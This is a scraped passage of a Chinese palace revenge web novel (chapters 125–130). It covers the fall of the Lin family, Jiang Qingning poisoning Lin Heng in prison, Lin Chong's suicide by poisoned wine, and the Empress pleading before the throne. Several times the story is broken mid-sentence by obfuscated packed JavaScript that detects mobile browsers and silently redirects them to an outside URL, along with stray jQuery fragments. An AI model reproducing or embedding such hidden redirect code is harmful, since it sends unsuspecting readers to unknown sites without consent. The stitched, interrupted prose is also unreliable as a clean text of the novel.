三日后,一场突如其来的暴雨袭击了城南官道。 林家的盐车意外倾覆,几袋官盐滚落废弃沟渠。 翌日清晨,周御史如同神助般发现痕迹,顺藤摸瓜一举查获林家私藏的大量官盐,人证物证确凿,整个京城震动。 皇帝勃然大怒,在朝堂上将奏折狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969275|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠摔在奉国公林崇脸上,痛斥其贪得无厌,目无王法。 林崇面如死灰,跪地辩解,却苍白无力。 皇帝当即下旨,查封林家所有相关产业,主事之人一律下狱彻查。 首当其冲的,就是在大牢之中关了半个月的林衡。 消息传来,奉国公府一片愁云惨雾。 林崇如同困兽,四处奔走求告,往日里依附林家的官员却纷纷避之不及。 太子陆乘在宫中急得团团转,数次求见皇帝为舅舅求情,都被挡了回来。 皇后林氏以泪洗面,苦苦哀求皇帝念及骨肉亲情,皇帝却只冷冷甩下一句:“王子犯法与庶民同罪,更何况他林衡。” 林崇脾气愈发暴躁。 就在此时,一个忠心的老仆在给他奉茶时,不小心透露探监时狱卒传出的消息: 世子爷在狱中怨气冲天,大骂父亲无能连累了他,说要不是父亲这些年贪得无厌又不知收敛,怎会落得如此下场,还诅咒父亲老不死。 “逆子!孽障!”林崇气得浑身发抖,双眼赤红,猛地将手中的茶盏摔得粉碎。 他唯一的儿子,他寄予厚望的继承人,在生死关头竟如此怨恨他辱骂他,巨大的失望瞬间吞噬林崇的理智。 当夜,林崇不顾劝阻闯入天牢。 昏暗潮湿的牢房内,林衡形容狼狈,早已不复往日的风流倜傥。 看到父亲,他眼中闪过希冀,起身扑到栅栏前喊道:“爹,你救我出去,我是被冤枉的,爹你快想办法啊,我不想死在这里!” 林崇看着儿子这副模样,想起老仆转述的那些怨毒之言,痛恨涌上心头,仅存的一丝理智也荡然无存。 他指着林衡的鼻子,破口大骂:“冤枉?铁证如山你还敢狡辩,若非你平日授人以柄,怎会落到如此田地!我林家百年基业,眼看就要毁在你这个不孝子手里!你还敢怨我,骂我老而不死,你这个畜生!” 林衡被骂懵了。 他何时骂过父亲老而不死? 第一百二十五章林衡死 他失去冷静,口不择言地反驳:“可那些不都是你默许的吗?没有你在背后撑着我如何敢现在出了事,你就把责任全推到我头上?你是我爹啊!” “你…你在胡说八道什么!”林崇气得浑身哆嗦,手指颤抖地指着林衡,“好!好!我林崇没有你这样的儿子!你就等着在这里烂掉吧!” 林崇气血上涌,眼前发黑,猛地拂袖转身冲出牢房。 如此是非不分的儿子,就当做是弃子又有何妨?! 就当他林崇从未生过这个儿子! “爹!” 林衡这才感到后悔,但奈何一切为时已晚,亲生父亲早已决定将他舍弃。 林崇离开约莫半个时辰后。 一道纤细灵活的黑影,悄无声息地避开几处明暗哨卡,目标明确地出现在关押林衡的牢房外,像一座雕塑正对着林衡。 看守此处的狱卒早已被秦休的人调换,此刻正背对着牢房打盹。 姜清宁穿着一身利落的黑袍,黑巾蒙面,只露出一双亮得惊人的眼睛。 林衡忽然间闻到一股甜腻的香气。 直觉不对的他疑惑地抬起头,只见牢门不知何时开了一条缝,一个身披黑袍的人影此刻正站在门口。 “谁?”林衡警惕地问,声音嘶哑。 姜清宁没有回答,只是静静地看着他,似乎在欣赏他被逼到绝境的美景。 这双眼睛…林衡忽然觉得有些熟悉。 他挣扎着想起身靠近看清楚,低声笑道:“你是谁,是否是我爹后悔了,让你来接我的?我就知道,我就知道……” 就在这时,姜清宁动了。 她身形如电,瞬间闪入牢内,沾满强力软骨散的手帕,精准地捂住了林衡的口鼻。 林衡惊恐得瞪大双眼,下意识想要动用武力顺便挣扎呼救,却发现浑身力气如同潮水般退去,连手指头都难以动弹。 这个人绝对不是林家的人! 察觉到这个念头,林衡拼命地想要逃跑个呼救。 姜清宁松开手帕,居高临下地看着软倒在地的林衡。 “不用白费力气,这里都是我的人。” “林衡,你死罪难逃。” 她冷漠地扯了扯唇角,缓缓扯下脸上的蒙面巾。 “清宁?”林衡听到熟悉的声音,下意识开口询问。 可是姜清宁只是闺阁女子,哪来的机会进入牢狱? 待看清眼前人的面容,林衡选择性忽视她的话,眼中爆发出惊喜的光芒,迫不及待的开口: “你是来救我的?清宁,我就知道,我就知道你是喜欢我的,快带我出去,等我出去,我立刻八抬大轿娶你为妻,让你做世子夫人,做未来的国公夫人!” 他仿佛抓住最后一根救命稻草,眼中充满的希冀。 姜清宁看着他这副模样,只觉得无比讽刺和恶心。 “林衡,我不是来救你的,我是,来报仇的。” 她没有再说话,只是缓缓蹲下身,从怀中取出另一个更小的瓷瓶,猛地拔开瓶塞。 下一刻,一股若有似无的苦涩气味弥漫开来。 林衡脸上的惊喜瞬间凝固,他意识到了什么,眼中充满了极致的恐惧: “你…你要干什么,别…别过来!我爹可是奉国公!你难道想被诛九族吗?” 他想后退,却连挪动一寸都做不到。 姜清宁单手捏住小瓷瓶,另一只手捏住林衡的下颌,迫使他张开嘴。 “林衡,事到如今,乖乖赴死,还能少受些折磨。” 她眼神冰冷地将瓶中的液体,毫不犹豫地尽数灌入林衡口中。 “唔…咳咳咳!”林衡被呛得剧烈咳嗽,苦涩的液体顺势滑入他的喉咙。 “为…为什么?”林衡痛苦地喘息着,满眼痛恨“我对你一片真心…你为何…” “真心?”姜清宁终于开口,声音冷得像冰窟里捞出来的,“林衡,你可还记得几个月前,你夜巡期间自清离职排查京城,明明是为了偷摸离开耍懒,却撞到一幕刺杀场景,为了救荀臣和他心爱的白清漪,而用尽全力射出的那一箭?” “都说奉国公府林衡天生神力,我如何不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969276|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能防着点,先探清楚你有多少底细,否则京城平白死一个人,若是牵连到我妹妹该怎么是好?” 姜清宁歪了歪头,眸中清澈真挚。 林衡瞳孔猛地收缩,似乎想起了什么。 “想起来了吗?”姜清宁冷笑。 “那一箭,差点射穿我妹妹的心脏,若非我发现动静出门查看,或许清晞早已命丧黄泉,我届时便会陷入万劫不复的自责之中,事到如今,我接近你,就是为了亲手报仇的这一天。” “等你失去一切,跌落尘埃,在你以为看到希望的时候,再亲手将你推入地狱,让你尝到锥心刺骨的绝望。” 林衡彻底僵住。 那晚他射箭时,确实看到那个刺客身形纤细,像是个女子,但因为禁军陈情是男人而放下猜忌,原来…原来那是姜清宁的妹妹。 巨大的欺骗感和恐惧让他目眦欲裂。 一个女子为了复仇能做到如此地步,他想要逃出去用姜清宁抵罪,但一股腥甜涌上喉咙,一切都晚了。 “姜清宁,你…你好狠…” 他怨毒地盯着姜清宁,黑色的血丝开始从他的眼角、鼻孔、嘴角缓缓渗出,模样可怖至极。 他挣扎着想扑上来,却连抬起手的力气都没有。 最终,他头一歪,七窍流血,眼睛瞪得大大的,死死看着姜清宁的方向,彻底没了声息。 姜清宁冷漠地看着他断气,确认再无生机。 她站起身掏出一块干净的帕子,仔细地擦拭捏过他下巴的手指,仿佛在拂去什么肮脏的东西。 她转身,如来时一般,悄无声息地融入黑暗,消失不见。 翌日清晨。 “不好了!林世子…林世子他…他暴毙了!”狱卒惊恐的喊叫声响起,骤然间划破天牢上方的天空。 消息如同插上翅膀,瞬间飞遍整个京城。 奉国公世子林衡,在奉国公林崇探监,父子激烈争吵之后当夜,于狱中羞愤交加,急怒攻心而暴毙身亡。 死状凄惨,七窍流血。 整个京城哗然。 第一百二十六章:木已成舟 “听说了吗?奉国公昨夜去天牢把儿子活活骂**!” “啧啧啧,真是狠心啊!那可是他唯一的嫡子!” “能怎么办?私盐毒盐,证据确凿,眼看要牵连整个林家,奉国公这是弃车保帅啊!” “什么弃车保帅,分明是恼羞成怒!听说林世子死前大骂他爹无能呢!被亲爹逼死,真是造孽!” “林家完了!嫡子都**,奉国公这心狠手辣的名声算是坐实了!” 流言蜚语如同瘟疫般蔓延,所有人都在议论奉国公林崇的心狠手辣、逼死亲子。 没有人怀疑到其他,所有人都认为是林崇为了保全自己和家族,亲手断送了儿子的性命,以图平息圣怒。 东宫。 太子陆乘听到噩耗,如遭五雷轰顶。 他与舅舅林衡年龄相仿,从小一起长大,感情甚笃。 他无论如何也不相信,一向疼爱舅舅的外祖父,会做出这种事。 “不可能!绝对不可能!”陆乘双目赤红,猛地冲出东宫,直奔奉国公府。 国公府内,一片缟素,哀声阵阵。 林崇一夜之间仿佛老了二十岁,头发灰白,双目无神地坐在灵堂前,看着儿子的棺椁,心如死灰。 他还在为儿子的死因惊疑不定,反复回忆昨夜探监的细节,总觉得哪里不对。 儿子的咒骂虽然难听,但似乎…并未到能气**的地步? 就在这时。 一声暴喝响彻灵堂:“林崇!” 陆乘气势汹汹地冲了进来,指着林崇的鼻子,声音因愤怒和悲痛而扭曲: “是你,是你害**舅舅!虎毒尚且不食子!你为了自己的权势地位,为了怕被舅舅牵连,竟然亲手逼**自己的亲生儿子!你还是不是人?” 林崇被外孙这劈头盖脸的指控砸懵了,随即是滔天的愤怒和委屈: “太子殿下在胡说什么,衡儿是我的亲骨肉,我怎会害他!他是…他是自己…” “自己什么,自己把自己气死吗?” 陆乘根本不信,他此刻已被愤怒冲昏了头脑,指着林崇的鼻子大骂: “狱卒都听见了!昨夜你在这里对着舅舅破口大骂,骂他不肖,骂他畜生,不是你是谁?” “你为了向父皇表忠心,为了保住你国公的爵位,不惜拿亲生儿子的命去填,你好狠的心,我母后怎么会有你这样的父亲,舅舅真是死不瞑目!” “你…你…”林崇听着外孙字字诛心的指责,看着他那双充满仇恨的眼睛,想起惨死的儿子,想起自己一生的心血可能付诸东流。 悲痛交加之下,他猛地捂住胸口,脸色瞬间变得紫胀,喉头一甜,一大口鲜血狂喷而出。 他身体晃了晃,眼前一黑,直挺挺地向后倒去。 “国公爷!”府中下人惊恐尖叫,乱作一团。 陆乘看着外祖父吐血晕厥,也愣住了,但随即被更大的愤怒,和一种果然如此的悲凉淹没。 他看也不看倒地的林崇,转身冲出了灵堂,留下身后一片混乱和哀嚎。 陆乘带着满腔悲愤冲回皇宫,刚踏入东宫太,迎面就撞上得知儿子在国公府所作所为,匆匆赶来的皇后。 “逆子!”林皇后气得浑身发抖。 “啪!” 她不等陆乘开口解释,扬起手,用尽全身力气,一记响亮的耳光狠狠扇在陆乘的脸上。 陆乘被打得一个趔趄,半边脸瞬间红肿起来。 他捂着脸,难以置信地看着自己的母亲:“母后,你打我?为了那个逼死舅舅的老匹夫,你打我?” “住口,那是你外祖父!” 林皇后心痛如绞,一边是生死未卜的父亲,一边是口出恶言的儿子。 “你舅舅的死因尚未查明,你怎能如此不分青红皂白,跑去国公府大闹,还把你外祖父气得吐血晕厥,你…你简直不孝不悌!” “我不分青红皂白?”陆乘的愤怒彻底爆发,他指着宫外奉国公府的方向,嘶吼道,“是他亲口承认骂了舅舅,是他探监后舅舅就**,所有人都知道是他逼**舅舅,母后,你到现在还护着他?舅舅的命在你眼里,还比不上林家那点权势吗?” “你…你胡说八道什么。”林皇后气得几乎晕厥,“那是你外祖父,他怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦休必定在着手开始对林家残余势力的打击,奉国公府算是倒了。 但对太子**的压制,乃至更深层次的朝堂博弈,都才刚刚拉开序幕。 前路荆棘密布,杀机四伏,棋差一着,便是万劫不复。 木已成舟,退无可退。 夜风吹过,带来一丝凉意。 姜清宁拢了拢衣襟,低叹道:“紫苏,我累了。” 第一百二十七章得知真相 宁阁。 书房窗纸上映着两个对坐的身影。 秦休将木盒放在两人之间的案几上。 “林衡**,奉国公府根基动摇,但这只是开始。”秦休的声音低沉而缓慢,“清宁,你真正的仇人,从来就不完全是奉国公林崇。” 姜清宁的心猛地一沉,她看着那个木盒,直觉告诉她,里面装着足以颠覆她认知的真相。 秦休打开木盒,里面是几封颜色发黄的信笺,以及一枚边缘有些磨损的玄铁令牌。 “八年前,你父兄被构陷通敌,明升暗贬至岭南瘴疠之地。” “表面上看,是奉国公府嫉妒姜家在北境立下的赫赫战功,又因姜家不愿依附太子,故而联合依附林家的朝臣,尤其是当时急于攀附林家,又与你姜家有姻亲关系的荀臣,主导了这场构陷。” 秦休拿起那枚玄铁令牌,指腹划过冰冷的纹路,“这令牌,是当年负责构陷姜家、传递铁证的死士身上搜到的,它属于内卫司。” “内卫司?”姜清宁瞳孔骤然收缩。 内卫司,皇帝手中最神秘,且最锋利的刀,只效忠天子一人,行监察、暗杀、构陷之事于无形。 姜家被贬,竟有内卫司参与其中…… “奉国公林崇,不过是摆在明面上的刽子手,真正下令构陷你父兄,欲除之而后快的,是龙椅上那位看似宽厚仁慈的九五至尊。” 姜清宁猛地站起身,带倒了身后的椅子,发出刺耳的声响。 脸色瞬间惨白如纸,身体控制不住地微微颤抖,支撑在案几上的手指用力到指节发白,几乎要嵌入坚硬的木纹之中。 “不…可能…”她下意识地反驳,声音嘶哑,“陛下…陛下当年还嘉奖过我父兄平定北境之功…” “嘉奖?”秦休眼中闪过一丝浓烈的讽刺。 他拿起一封发黄的信笺,展开,上面是荀臣的笔迹,但内容却让姜清宁如坠冰窟。 “看看这个,这是荀臣当年秘密呈递给内卫司指挥使的密信,信中,他详细‘写了如何利用与你姜家的姻亲关系,如何在你父兄毫无防备的情况下,将伪造的书信放入你父亲的书房暗格。” “引导搜查的官员发现,利用京城**,将桀骜不驯,不敬权贵的罪名死死扣在你姜家头上,让那些曾经敬佩你父兄的官员和百姓,在铁证和奉国公府的压力下无法反驳。” “荀臣在信中写道:姜家父子,刚正不阿,素来不结党营私,唯一弱点便是顾念亲情,臣以姻亲之便,常出入姜府内院书房重地,姜家上下待臣至诚,毫无防备,此计能成全赖陛下圣明,洞察姜家功高震主之隐患,亦赖奉国公府威势压制朝野杂音。’” “功高震主…毫无防备…姻亲之便…”姜清宁喃喃地重复着这几个字。 她想起了当年荀臣温文尔雅的模样,想起他每次来姜家时,父亲欣慰的目光,兄长爽朗的笑声,母亲待他如亲子般的关怀…… 原来这一切的信任和亲情,都被他当成刺向姜家最致命的武器。 原来那看似情深意重的姻缘,从一开始就是一场精心策划的骗局,是皇帝用来麻痹姜家,卸下他们防备的诱饵。 一股腥甜猛地涌上喉头,姜清宁强行压下,眼底布满血丝。 她恨,恨皇帝的猜忌狠毒,恨奉国公的落井下石,更恨荀臣,这个披着人皮的畜生! 利用她的感情,利用姜家的信任,亲手将她的至亲推入深渊。 她咬牙切齿:“我要荀臣死!” 秦休静静地看着她发泄,没有阻止。 直到姜清宁的呼吸稍微平复,他才沉声开口,补充道: “不仅如此,皇帝选择让荀臣主理此案,还有一个更阴毒的目的。” “荀臣是你的丈夫,由他亲自查实并定罪自己的岳家,这在天下人眼中,是何等的大义灭亲与公正无私。” “皇帝就是要利用这层关系,彻底堵住悠悠众口,让所有人都以为,连姜家的女婿都铁面无私地指证,那姜家必然是罪无可赦。” “荀臣,他不仅是那把捅向姜家的刀,更是皇帝用来**,掩盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦休心头微暖,深深看了她一眼:“放心。” 他不再多言,起身告辞,颀长的身影很快消失在宁阁门外的夜色中。 送走秦休,姜清宁走到书案前,提笔蘸墨。 “紫苏!” “大小姐。”紫苏应声而入,看到姜清宁脸上未干的眼泪,“大小姐,您怎么哭了?” “我没事,将此信用最快的速度送往岭南!”姜清宁将密信封入特制的蜡丸,郑重交到紫苏手中。 “是!”紫苏双手接过蜡丸,眼神无比坚定。 “另外,”姜清宁的声音冷得像冰,“手下人分出两队精锐,十二个时辰不间断,给我盯死安平伯府!” “荀臣,姜如意,安平伯老夫人,他们每日见了什么人,说了什么话,去了哪里,做了什么,哪怕是起夜,我都要知道得一清二楚!” 她的眼中闪烁着嗜血的光芒,“我要荀臣在无尽的恐惧中,一步步走向我为他准备好的地狱。” “奴婢遵命!”紫苏领命,迅速消失在门外。 书房内,只剩下姜清宁一人。 她走到窗边,推开窗户,凉风吹起她鬓角的碎发。 “荀臣,你欠姜家的债,迟早要连本带利地还了。” 秦休行动迅速。 刑部、大理寺、都察院三法司的大门,在深夜被手持秦国公令牌的亲兵叩开。 秦休亲自坐镇,将八年来暗中调查,早已梳理清晰的,关于奉国公林崇及其党羽的如山铁证,尽数移交。 其中不仅包括刚刚查获的私盐毒盐、****、侵占民田等重罪,更包含了数桩被尘封多年的血案、**。 七年前,户部侍郎因上书**奉国公强占江南良田,全家十七口于返乡途中遭遇山匪,无一幸免,现场遗留的箭矢,正是军器监**,唯有林家亲卫能使用的制式。 五年前,一名知晓林家与北狄走私军械内情的边关押粮官,在回京述职途中醉酒失足坠入护城河溺亡,其妻女随后自缢身亡。 三年前,林崇看中京郊一位富商祖传的温泉庄子,强买不成,竟指使爪牙诬陷富商之子**民女,屈打成招,最终富商家破人亡,庄子落入林家之手。 一桩桩,一件件,触目惊心,罄竹难书。 每一件都有详实的人证、物证,相互印证,铁证如山。 秦休没有给任何人反应和运作的时间。 证据移交的次日清晨,天还未亮,大队全副武装的禁军、刑部衙役、大理寺差官等。 在秦休亲自调度指挥下,如同天罗地网,将偌大的奉国公府围得水泄不通,连一只苍蝇都休想飞出。 奉国公府内,一片绝望。 灵堂的白幡尚未撤去,林衡的棺椁还停放在那里。 府中下人早已吓得魂飞魄散,面如土色,瘫软在地者比比皆是。 往日里依附林家的门客,此刻恨不能挖个地洞钻进去,生怕被牵连。 林崇枯坐在儿子的灵柩前,一夜之间,他原本只是灰白的头发已变得雪白一片,浑浊的眼失去所有神采,只剩下死气沉沉的灰败。 昨夜外孙的斥责、儿子的惨死、已经彻底击垮这个曾经权倾朝野的人。 管家连滚爬爬地冲进来,声音抖得不成样子:“国公爷不好了,外面全是官兵,把府里围**,秦国公亲自带着三法司的人闯进来了,说是奉旨查抄……” 林崇的身体剧烈地颤抖一下,眼里最后一丝光芒熄灭。 他艰难地抬起头,看向儿子冰冷的棺椁,又看了看灵堂外的晨曦微光。 “呵…”他笑出声,充满无尽的悲凉和自嘲,“好一个秦休,好一个皇帝,卸磨杀驴,鸟尽弓藏,报应!都是报应啊!” 他明白了。 林衡的死,根本不是什么意外。 是皇帝做的一个局,一个彻底铲除他林家的局。 他林家和当年的姜家一样,都不过是皇帝用来平衡朝局,用完即弃的棋子。 “国公爷,我们该怎么办啊?”管家老泪纵横,匍匐在地。 “怎么办?”林崇喃喃自语,“树倒猢狲散,墙倒众人推…还能怎么办?” 他猛地咳嗽起来,撕心裂肺,仿佛要将五脏六腑都咳出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981115|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>许久,他才止住咳嗽,喘息着地对管家道:“去…去把我书房暗格里…那壶醉生梦死…拿来…” 管家浑身一颤,惊恐地抬头:“国公爷!您…” “去!”林崇厉喝一声,“与其被押入天牢,受尽**,被那些曾经匍匐在我脚下的蝼蚁审判,不如我自己了断,给老夫体面!” 管家看着林崇眼中不容置疑的死志,知道一切已无法挽回,悲泣着叩了个头,踉跄着跑了出去。 很快,他捧着一个精致的玉壶回来,壶中盛着琥珀色的液体,散发着一种奇异的甜香。 林崇颤抖着接过玉壶,浑浊的目光再次落在林衡的棺椁上,眼中闪过一丝复杂难言的情绪。 “废物…”他低声骂了一句,不知是在骂死去的儿子,还是在骂自己。 随即,他拔开壶塞,没有丝毫犹豫,仰起头将壶中的毒酒一饮而尽。 “砰!” 玉壶跌落在地,摔得粉碎。 林崇的身体剧烈地抽搐了几下,脸色迅速由灰败转为青紫,他死死地瞪着皇宫的方向,最终整个人僵硬地倒在了儿子林衡的棺椁旁。 当秦休带着三法司的官员,在亲兵的护卫下,踏破奉国公府朱红的大门。 一路畅通无阻地闯入灵堂时,看到的便是这样一幅景象: 昔日权倾朝野,不可一世的奉国公林崇,身着素服倒在独子林衡的棺椁旁,七窍流血,已然气绝身亡。 秦休的脚步在灵堂门口微微一顿,冷峻的目光扫过林崇的尸体,眼中没有丝毫波澜,只有一片尘埃落定的漠然。 他身后的官员们则是一片倒吸冷气之声,惊骇莫名。 “奉国公…畏罪自尽了?”刑部尚书的声音带着难以置信的颤抖。 秦休没有回答,只是淡淡地挥了挥手,声音平静无波,却带着不容置疑的威严: “奉国公林崇,自知罪孽深重,畏罪服毒,已伏法,即刻查封奉国公府所有产业、文书、人员,一干人等押入大牢听候审讯,府内所有财物登记造册,充入国库!” “是!”禁军和差役们高声应答。 第一百二十九章皇后觐见 秦休最后看了一眼灵堂内那对父子的尸体,转身大步离开。 宁阁的阁楼上,姜清宁凭栏而立,远远眺望着奉国公府方向。 紫苏快步走来,低声禀报林崇饮鸩自尽。 “死得太便宜他了。”她的声音很轻,就像一阵风,“下一个,该轮到荀臣了。” 奉国公府被抄,林崇畏罪自尽的消息,如同投入死水潭的巨石,在京城激起千层浪。 皇后林氏悠悠转醒时,已是翌日清晨。 太医小心翼翼地为她施针用药,宫人们噤若寒蝉,连呼吸都放得极轻。 她脸色苍白,往日保养得宜的容颜,此刻布满憔悴痕,唯有那双眼睛在最初的茫然过后,迅速变得决绝。 “什么时辰了?”林皇后的声音嘶哑。 “回娘娘,卯时三刻。”贴身大宫女红着眼眶回答。 林皇后挣扎着坐起身,不顾宫女的劝阻,“替本宫更衣,早朝开始了,本宫必须要去。” “娘娘凤体违和,太医说现在需要静养…”宫女犹豫劝解。 “更衣!” 林皇后的声音陡然拔高,带着不容置疑的威仪:“取素服来,凤袍凤冠都取来。” 宫人们不敢再劝,手脚麻利地伺候林皇后梳洗。 当明黄凤袍和九凤衔珠冠被小心翼翼地捧到面前时,林皇后眼中没有半分留恋。 她伸出手,指尖拂过那冰凉的珍珠和繁复的金线,最终她亲手将凤冠摘下,又将凤袍脱下,叠放整齐置于铺着明黄锦缎的托盘之中。 她换上一身没有任何纹饰的素白布袍,长发仅用一根普通的木簪松松挽起,褪去了所有华饰。 此刻的她,只是一个被家族巨变彻底击垮,失去一切的女人。 “随本宫去金銮殿。” 皇后捧着沉重的托盘,一步步走出凤仪宫。 她的背影挺得笔直,晨光熹微,映照着她苍白的侧脸和那身刺目的素白。 一路行来,沿途的宫人侍卫无不骇然跪倒,不敢直视。 金銮殿内,气氛压抑得令人窒息。 皇帝偶在龙椅之上,脸色阴沉得能滴出水来。 奉国公府的倒台,虽是他默许甚至推波助澜的结果。 但林崇的自尽,林衡的暴毙,尤其是秦休以雷霆手段,直接查抄国公府并翻出无数陈年旧案。 将林家钉死在耻辱柱上的做法,让他感到强烈的忌惮,秦休展现出的对证据的掌控,超出了他的预料。 朝臣们分列两班,个个眼观鼻鼻观心,大气不敢出。 太子陆乘站在文官之首的位置,脸色同样难看至极,眼底布满血丝和深重的懊悔。 昨日在奉国公府和母后面前的失控,事后想来让他心惊胆战。 他恨外祖父的狠毒,更怨父皇的无情,但内心深处对母后的担忧和愧疚也深重不已。 他偷偷抬眼看向龙椅上的皇帝,只觉得那张曾经威严的脸,此刻充满了陌生。 就在这时。 殿外忽然传来一阵喧哗,紧接着一个太监连滚爬爬地冲了进来,声音都变了调: “陛…陛下!皇后娘娘…皇后娘娘她…” “何事惊慌?”皇帝不耐地皱眉。 “皇后娘娘脱簪待罪,身着素服跪在殿外,恳求…恳求觐见陛下!”太监伏在地上,声音颤抖。 此言一出,满朝哗然。 “脱簪待罪?” “皇后娘娘这是…” 皇帝的脸色瞬间变得更加难看,眼中闪过一丝不易察觉的怒意和厌烦。 她这是要做什么,以退为进,博取同情,还是想要搅乱朝堂? “荒唐!” 不等皇帝开口,御史台一位白发苍苍的老御史已经率先出列,义正辞严地高声道: “陛下!后宫不得干政,此乃祖宗成法,皇后娘娘身为国母更应恪守本分!” “如今身着素服脱簪跪于朝堂之外,成何体统!此乃胁迫圣听,扰乱朝纲!臣请陛下严旨斥责,命皇后娘娘速回后宫!” “臣附议!” “臣也附议!” 几位文臣立刻跟着站了出来,言辞激烈,仿佛皇后此举犯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981116|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十恶不赦之罪。 太子陆乘看着殿外方向,片刻之后,他猛地出列,撩袍重重跪倒在地,声音带着急切和恳求: “父皇!母后凤体欠安,昨日更是因儿臣不孝而晕厥,她此刻跪于殿外必有万分紧要之事,求父皇念及夫妻情分,念及母后多年操持后宫之辛劳,允母后觐见一面!臣愿代母后领受任何责罚!” 龙椅上的皇帝眼神冰冷,看着跪在下面的太子,心中只有更深的厌弃。 这个儿子冲动愚蠢,关键时刻只知感情用事,不堪大任。 气氛僵持,皇帝要顺势拒绝之时。 一道绯色的身影沉稳地跨出一步,秦休微微躬身:“陛下,皇后娘娘脱簪待罪姿态已极低,其所求者无非是面圣陈情,论所陈何事,陛下圣心独断便是。” “然皇后毕竟是国母,若长久跪在殿外受百官瞩目,传扬出去,于陛下仁德之名,于我朝体统,恐更有损。” “臣秦休,恳请陛下允准皇后娘娘觐见。” 秦休话音刚落,承延也立刻出列,跪倒在地:“臣承延附议,皇后娘娘此举虽有不妥,然事必有因。” “陛下广开言路,兼听则明,即便娘娘所言有失,陛下圣裁即可,拒之门外反易生流言蜚语。” 紧接着,向来对林家跋扈不满的平江侯站出来,拱手道: “陛下,秦国公与承大人所言有理,皇后娘娘身份尊贵,既已至此不如一见,是非曲直自有公论。” 皇帝的目光扫过众人,眼神变幻莫测。 秦休的话,点中了他的软肋。 他极重名声,此刻若强硬拒绝,皇后长跪不起,闹得满城风雨,对他这个仁君的形象确实不利。 而秦休、承延、平江侯三人表态,代表着朝中一股不可小觑的力量。 尤其是秦休,刚刚扳倒林家,风头正劲,其态度不得不考虑。 权衡利弊只在瞬间。 皇帝最终缓缓抬手,声音听不出喜怒:“罢了,宣皇后进殿。” “宣皇后娘娘觐见——!”太监尖厉高亢的传唱声穿透殿门。 第一百三十章满门覆灭 众人循声望去。 一道素白身影捧着凤袍凤冠的托盘,一步步踏入金銮殿。 刹那间,殿内所有的目光,瞬间都聚焦在林皇后的身上。 没有往日的雍容华贵,没有凤冠霞帔的威仪。 此刻的皇后林氏,只穿着一身洗得发白的粗布素衣,长发仅用一根木簪挽住,未施脂粉,脸色苍白如纸,身形摇摇欲坠,仿佛一阵风就能吹倒。 整个大殿,落针可闻。 只有她虚浮而坚定的脚步声,在空旷的大殿内回响。 她走到御阶之下,距离龙椅尚有十步之遥,方才停下脚步。 然后在所有人震惊的目光中,林皇后三跪九叩。 素白的布衣在金碧辉煌的大殿中显得格外凄凉,却又带着撼动人心的悲凉。 林皇后最后一叩拜起身,额头已是一片青紫,隐隐渗出血丝。 她双手捧着那沉重的托盘,高高举过头顶,声音清晰地响彻大殿: “罪妇林氏,教父无方,治家不严,致使父弟林崇、林衡,目无王法,贪赃枉法,构陷忠良,草菅人命,犯下滔天罪孽。” “此皆罪妇身为林氏女,未能规劝父兄,约束亲族之过,罪妇无颜再居后位,玷污皇家清誉。” “今罪妇自请废黜皇后之位,收回凤印,贬为庶人,甘愿领受一切责罚。” “只求陛下念在罪妇侍奉多年,未曾有大错处,留我林氏一门无辜稚子一条生路。” 说到最后,林皇后的声音哽咽,带着无尽的悲凉和哀求。 “母后!” 